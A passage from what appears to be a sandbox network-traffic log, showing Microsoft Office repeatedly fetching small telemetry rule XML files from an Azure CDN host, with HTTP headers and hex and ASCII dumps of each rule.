M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.5	49783	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:44 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:44 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:44 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 3fc8ca9f-401e-0083-6c91-3f075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184944Z-174f7845968j6t2phC1EWRcfe800000010gg0000000076h4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:44 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.5	49785	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:44 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:44 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:44 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 261fcd2e-101e-005a-5345-40882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184944Z-174f7845968j6t2phC1EWRcfe800000010f000000000bkm4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:44 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.5	49784	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:44 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:44 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:44 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 59a03737-a01e-00ab-1891-3f9106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184944Z-174f78459688l8rvhC1EWRtzr00000000cv000000000fyzk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:44 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.5	49786	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:44 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:45 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:45 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: c6f16635-c01e-0034-4354-402af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184945Z-174f7845968pf68xhC1EWRr4h800000010p0000000003vpd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:45 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.5	49787	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:45 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:45 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:45 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 5cf18767-601e-000d-7d91-3f2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184945Z-174f78459684bddphC1EWRbht40000000zy000000000qcr4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:45 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.5	49788	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:46 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:47 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:47 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: e297b188-201e-0000-7a1b-41a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184947Z-174f7845968n2hr8hC1EWR9cag00000010100000000052xb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:47 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.5	49790	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:46 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:47 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:47 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: f73eacfc-701e-0001-0b91-3fb110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184947Z-174f7845968l4kp6hC1EWRe88400000010mg000000007ah4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:47 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.5	49789	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:46 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:47 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:47 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: dd02da03-701e-001e-0d91-3ff5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184947Z-174f78459684bddphC1EWRbht4000000104g000000002zxa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:47 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.5	49791	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:47 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:47 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:47 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: d20a9c1c-a01e-0053-1feb-418603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184947Z-174f7845968j6t2phC1EWRcfe800000010g00000000087cr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:47 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.5	49792	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:47 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:47 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:47 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 8909076a-001e-00a2-6343-40d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184947Z-174f7845968qj8jrhC1EWRh41s000000105g00000000km92 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:47 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.5	49794	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:48 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:49 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:49 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 352cddbf-b01e-005c-1563-404c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184949Z-174f7845968l4kp6hC1EWRe88400000010fg00000000kvdm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:49 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.5	49795	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:49 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:49 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:49 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 02827f85-001e-00ad-7091-3f554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184949Z-174f7845968jrjrxhC1EWRmmrs00000010b000000000m92w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:49 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" 